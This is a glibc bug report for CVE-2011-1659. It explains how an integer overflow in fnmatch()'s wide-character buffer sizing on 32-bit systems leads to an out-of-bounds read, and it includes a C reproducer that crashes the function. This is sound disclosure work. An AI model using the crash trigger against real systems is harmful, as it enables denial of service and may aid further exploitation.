Bug 12583 (CVE-2011-1659)

Bug #11883 describes a problem of an unbound alloca() use in fnmatch(), leading to crash when unexpectedly long string is passed to fnmatch() as either pattern or string.  The issue seems to have been addressed in the following commit:

http://sourceware.org/git/?p=glibc.git;a=commitdiff;h=f15ce4d8

which makes fnmatch() use malloc() when arguments exceed certain length.  That bug report does not explicitly mention integer overflow in malloc ((n + 1) * sizeof (wchar_t)), which got mentioned in reporter's blog post about the issue:

http://scarybeastsecurity.blogspot.com/2011/02/i-got-accidental-code-execution-via.html

That integer overflow was not addressed in the patch and with certain patterns, it's possible to trigger out-of-bounds read crash.

The corner case is when n is 1073741823 / 0x3fffffff, (n + 1) * sizeof (wchar_t) is 0 on IA32, which usually causes malloc() to return non-NULL.  string_end argument passed to internal_fnwmatch is computed as wstring + n, resulting in internal_fnwmatch being called with string > string_end.  As some checks for end-of-string are done as n == string_end rather than n >= string_end, oob read may occur.

I was able to trigger the crash on Fedora Rawhide glibc-2.13.90-3.i686 using the following modified version of the original reproducer:

#include <err.h>
#include <fnmatch.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main(int argc, const char* argv[]) {
  char *pat, *str;
  size_t pat_len = 1000000, str_len = 0x3fffffff;

  setlocale(LC_ALL, "en_US.UTF8");

  if (argc > 1)
    str_len = atol(argv[1]);
  if (argc > 2)
    pat_len = atol(argv[2]);
 
  pat = malloc(pat_len + 1);
  str = malloc(str_len + 1);
  if (!pat || !str)
    errx(1, "malloc() failed.");

  memset(pat, '?', pat_len);
  pat[pat_len] = '\0';
  memset(str, 'A', str_len);
  str[str_len] = '\0';

  printf("running fnmatch(\"?\"x%zu, \"A\"x%zu, 0)...\n", pat_len, str_len);
  printf("return: %d\n", fnmatch(pat, str, 0));
  return 0;
}